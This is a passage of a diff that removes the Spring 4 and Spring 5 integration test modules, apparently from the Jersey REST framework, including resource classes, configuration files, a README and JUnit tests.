+0,0 @@ -/* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -/** - * Type to be handled as HK2 request scoped bean. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class HK2ServiceRequestScoped { -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java deleted file mode 100644 index b0f82c7d524..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/MyApplication.java +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.core.Application; - -import jakarta.inject.Inject; -import jakarta.inject.Singleton; - -import org.glassfish.jersey.internal.inject.AbstractBinder; -import org.glassfish.jersey.internal.inject.Binder; -import org.glassfish.jersey.internal.inject.InjectionManager; -import org.glassfish.jersey.internal.inject.PerLookup; -import org.glassfish.jersey.process.internal.RequestScoped; - -/** - * JAX-RS application class for configuring injectable services in HK2 registry for testing purposes. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class MyApplication extends Application { - - @Inject - public MyApplication(final InjectionManager injectionManager) { - Binder binder = new AbstractBinder() { - @Override - protected void configure() { - bindAsContract(HK2ServiceSingleton.class).in(Singleton.class); - bindAsContract(HK2ServiceRequestScoped.class).in(RequestScoped.class); - bindAsContract(HK2ServicePerLookup.class).in(PerLookup.class); - } - }; - - injectionManager.register(binder); - } -} diff --git a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java b/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java deleted file mode 100644 index b815fe02f47..00000000000 --- a/tests/integration/spring4/src/main/java/org/glassfish/jersey/server/spring/test/RepositoryResource.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.core.MediaType; - -import org.springframework.stereotype.Repository; - -/** - * @author Konrad Garus (konrad.garus at gmail.com) - */ -@Repository -@Path("/spring/repository") -public class RepositoryResource { - - private String message; - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(final String message) { - this.message = message; - return message; - } - - @GET - @Path("message") - public String getMessage() { - return message; - } -} diff --git a/tests/integration/spring4/src/main/resources/applicationContext.xml b/tests/integration/spring4/src/main/resources/applicationContext.xml deleted file mode 100644 index c7e421eaa36..00000000000 --- a/tests/integration/spring4/src/main/resources/applicationContext.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - - - - - - - - org.springframework.beans.factory.annotation.Autowired - org.springframework.beans.factory.annotation.Value - - - - - - - - - org.springframework.beans.factory.annotation.Qualifier - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedEndpointITCase.java b/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedEndpointITCase.java deleted file mode 100644 index 79ade92c60a..00000000000 --- a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedEndpointITCase.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Spring managed JAX-RS resources with custom composite - * annotation that derives from @Component. - * - * @author Konrad Garus (konrad.garus at gmail.com) - */ -public class SpringManagedEndpointITCase extends ResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(EndpointResource.class); - } - - @Override - protected String getResourcePath() { - return "/spring/endpoint"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, echo); - final String msg = t.path("message").request().get(String.class); - assertEquals(message, msg); - } -} diff --git a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedITCase.java b/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedITCase.java deleted file mode 100644 index 2b351f09de5..00000000000 --- a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedITCase.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Spring managed JAX-RS resources. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class SpringManagedITCase extends AccountResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(AccountSpringResource.class); - } - - @Override - protected String getResourcePath() { - return "/spring/account"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, echo); - final String msg = t.path("message").request().get(String.class); - assertEquals(message, msg); - } - -} diff --git a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedRepositoryITCase.java b/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedRepositoryITCase.java deleted file mode 100644 index 0bfcd04b4e4..00000000000 --- a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedRepositoryITCase.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Spring managed JAX-RS resources with @Repository archetype. - * - * @author Konrad Garus (konrad.garus at gmail.com) - */ -public class SpringManagedRepositoryITCase extends ResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(RepositoryResource.class); - } - - @Override - protected String getResourcePath() { - return "/spring/repository"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, echo); - final String msg = t.path("message").request().get(String.class); - assertEquals(message, msg); - } -} diff --git a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedServiceITCase.java b/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedServiceITCase.java deleted file mode 100644 index fd31b990b13..00000000000 --- a/tests/integration/spring4/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedServiceITCase.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Spring managed JAX-RS resources with @Service archetype. - * - * @author Konrad Garus (konrad.garus at gmail.com) - */ -public class SpringManagedServiceITCase extends ResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(ServiceResource.class); - } - - @Override - protected String getResourcePath() { - return "/spring/service"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, echo); - final String msg = t.path("message").request().get(String.class); - assertEquals(message, msg); - } -} diff --git a/tests/integration/spring5/README.txt b/tests/integration/spring5/README.txt deleted file mode 100644 index 9a105f7bac7..00000000000 --- a/tests/integration/spring5/README.txt +++ /dev/null @@ -1,30 +0,0 @@ - -tests -===== - -Tests are located in jersey-spring-test module. -The module contains a test webapp and test code. -The tests can be run in Jersey test container or an external container. - -- Running tests in Jersey test container - mvn clean test - -- Running tests in an external container - build the test app - deploy to an external container - configure container connection info in jersey-spring-test/pom.xml, if needed - run tests in integration test mode: - mvn -Pit verify - -- Running tests in embedded Jetty instance - build the test app - deploy to Jetty: - mvn -Pjetty jetty:run - run tests in integration test mode in another console session: - mvn -Pit verify - -test class naming conventions -- *ITTest.java: run in unit and IT test mode -- *Test.java: run as unit tests -- *IT.java: run as IT tests - diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java b/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java deleted file mode 100644 index 80f5d8c1ae7..00000000000 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/Endpoint.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -import org.springframework.stereotype.Component; - -/** - * @author Konrad Garus (konrad.garus at gmail.com) - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -@Component -public @interface Endpoint { - -} diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java b/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java deleted file mode 100644 index d61ef3b4791..00000000000 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/EndpointResource.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.core.MediaType; - -/** - * @author Konrad Garus (konrad.garus at gmail.com) - */ -@Endpoint -@Path("/spring/endpoint") -public class EndpointResource { - - private String message; - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(final String message) { - this.message = message; - return message; - } - - @GET - @Path("message") - public String getMessage() { - return message; - } -} diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java b/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java deleted file mode 100644 index 4b6bbf57aeb..00000000000 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServicePerLookup.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -/** - * Type to be handled as HK2 per-lookup bean. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class HK2ServicePerLookup { -} diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java b/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java deleted file mode 100644 index 424f1866e8a..00000000000 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/HK2ServiceSingleton.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -/** - * Type to be handled as HK2 singleton. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class HK2ServiceSingleton { -} diff --git a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java b/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java deleted file mode 100644 index d50e5a6cc49..00000000000 --- a/tests/integration/spring5/src/main/java/org/glassfish/jersey/server/spring/test/ServiceResource.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.Consumes; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.PUT; -import jakarta.ws.rs.Path; -import jakarta.ws.rs.core.MediaType; - -import org.springframework.stereotype.Service; - -/** - * @author Konrad Garus (konrad.garus at gmail.com) - */ -@Service -@Path("/spring/service") -public class ServiceResource { - - private String message; - - @PUT - @Path("message") - @Consumes(MediaType.TEXT_PLAIN) - public String setMessage(final String message) { - this.message = message; - return message; - } - - @GET - @Path("message") - public String getMessage() { - return message; - } -} diff --git a/tests/integration/spring5/src/main/webapp/WEB-INF/web.xml b/tests/integration/spring5/src/main/webapp/WEB-INF/web.xml deleted file mode 100644 index 4004dd3c3c6..00000000000 --- a/tests/integration/spring5/src/main/webapp/WEB-INF/web.xml +++ /dev/null @@ -1,50 +0,0 @@ - - - - - - jersey-spring-test - - - - - - org.glassfish.jersey.server.spring.test.MyApplication - - - org.glassfish.jersey.server.spring.test.MyApplication - /* - - - - - diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceITCase.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceITCase.java deleted file mode 100644 index 77f2984d6ce..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceITCase.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.glassfish.jersey.test.spi.TestContainerException; -import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.glassfish.jersey.test.JerseyTest; - -import org.junit.Test; - -import static org.junit.Assert.assertEquals; - -public class AccountResourceITCase extends JerseyTest { - - @Override - protected Application configure() { - return new Application(); - } - - @Override - protected TestContainerFactory getTestContainerFactory() throws TestContainerException { - return new ExternalTestContainerFactory(); - } - - @Test - public void testGet() throws Exception { - final String r = target().path("/jersey/account/message").request().get(String.class); - assertEquals(r, "n/a"); - } -} diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceTestBase.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceTestBase.java deleted file mode 100644 index 5cc9fc750fa..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/AccountResourceTestBase.java +++ /dev/null @@ -1,83 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import java.math.BigDecimal; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; -import jakarta.ws.rs.core.MediaType; - -import org.junit.Test; -import static org.hamcrest.CoreMatchers.startsWith; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertThat; - -/** - * Base class for JAX-RS resource tests. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public abstract class AccountResourceTestBase extends ResourceTestBase { - - // test singleton scoped Spring bean injection using @Inject + @Autowired - @Test - public void testSingletonScopedSpringService() { - final BigDecimal newBalance = new BigDecimal(Math.random()); - final WebTarget t = target(getResourceFullPath()); - - t.path("/singleton/xyz123").request().put(Entity.entity(newBalance.toString(), MediaType.TEXT_PLAIN_TYPE)); - final BigDecimal balance = t.path("/singleton/autowired/xyz123").request().get(BigDecimal.class); - assertEquals(newBalance, balance); - } - - @Test - public void testRequestScopedSpringService() { - final BigDecimal newBalance = new BigDecimal(Math.random()); - final WebTarget t = target(getResourceFullPath()); - final BigDecimal balance = t.path("request/abc456").request().put(Entity.text(newBalance), BigDecimal.class); - assertEquals(newBalance, balance); - } - - @Test - public void testPrototypeScopedSpringService() { - final BigDecimal newBalance = new BigDecimal(Math.random()); - final WebTarget t = target(getResourceFullPath()); - final BigDecimal balance = t.path("prototype/abc456").request().put(Entity.text(newBalance), BigDecimal.class); - assertEquals(new BigDecimal("987.65"), balance); - } - - @Test - public void testServletInjection() { - final WebTarget t = target(getResourceFullPath()); - - String server = t.path("server").request().get(String.class); - assertThat(server, startsWith("PASSED: ")); - - server = t.path("singleton/server").request().get(String.class); - assertThat(server, startsWith("PASSED: ")); - - server = t.path("singleton/autowired/server").request().get(String.class); - assertThat(server, startsWith("PASSED: ")); - - server = t.path("request/server").request().get(String.class); - assertThat(server, startsWith("PASSED: ")); - - server = t.path("prototype/server").request().get(String.class); - assertThat(server, startsWith("PASSED: ")); - } -} diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/JerseyManagedITCase.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/JerseyManagedITCase.java deleted file mode 100644 index fa3d1a2ff4b..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/JerseyManagedITCase.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Jersey managed JAX-RS resources. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class JerseyManagedITCase extends AccountResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(AccountJerseyResource.class); - } - - @Override - protected String getResourcePath() { - return "/jersey/account"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, echo); - final String msg = t.path("message").request().get(String.class); - assertEquals("n/a", msg); - } - -} diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/ResourceTestBase.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/ResourceTestBase.java deleted file mode 100644 index 08c4902e439..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/ResourceTestBase.java +++ /dev/null @@ -1,67 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.SpringLifecycleListener; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; -import org.glassfish.jersey.test.JerseyTest; -import org.glassfish.jersey.test.TestProperties; -import org.glassfish.jersey.test.external.ExternalTestContainerFactory; -import org.glassfish.jersey.test.spi.TestContainerException; -import org.glassfish.jersey.test.spi.TestContainerFactory; - -/** - * Base class for JAX-RS resource tests. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public abstract class ResourceTestBase extends JerseyTest { - - private static final String TEST_WEBAPP_CONTEXT_PATH = "jersey.spring.test.contextPath"; - private static final String TEST_CONTAINER_FACTORY_EXTERNAL = "org.glassfish.jersey.test.external" - + ".ExternalTestContainerFactory"; - - @Override - protected TestContainerFactory getTestContainerFactory() throws TestContainerException { - return new ExternalTestContainerFactory(); - } - - @Override - protected Application configure() { - final ResourceConfig rc = new ResourceConfig() - .register(SpringLifecycleListener.class) - .register(RequestContextFilter.class); - TestUtil.registerHK2Services(rc); - rc.property("contextConfigLocation", "classpath:applicationContext.xml"); - return configure(rc); - } - - protected abstract ResourceConfig configure(ResourceConfig rc); - - protected abstract String getResourcePath(); - - protected String getResourceFullPath() { - final String containerFactory = System.getProperty(TestProperties.CONTAINER_FACTORY); - if (TEST_CONTAINER_FACTORY_EXTERNAL.equals(containerFactory)) { - return System.getProperty(TEST_WEBAPP_CONTEXT_PATH) + getResourcePath(); - } - return getResourcePath(); - } -} diff --git a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedControllerITCase.java b/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedControllerITCase.java deleted file mode 100644 index 9b249946813..00000000000 --- a/tests/integration/spring5/src/test/java/org/glassfish/jersey/server/spring/test/SpringManagedControllerITCase.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.test; - -import jakarta.ws.rs.client.Entity; -import jakarta.ws.rs.client.WebTarget; - -import org.glassfish.jersey.server.ResourceConfig; - -import org.junit.Test; -import static org.junit.Assert.assertEquals; - -/** - * Tests for Spring managed JAX-RS resources with @Controller archetype. - * - * @author Konrad Garus (konrad.garus at gmail.com) - */ -public class SpringManagedControllerITCase extends ResourceTestBase { - - @Override - protected ResourceConfig configure(final ResourceConfig rc) { - return rc.register(ControllerResource.class); - } - - @Override - protected String getResourcePath() { - return "/spring/controller"; - } - - @Test - public void testResourceScope() { - final WebTarget t = target(getResourceFullPath()); - final String message = "hello, world"; - final String echo = t.path("message").request().put(Entity.text(message), String.class); - assertEquals(message, 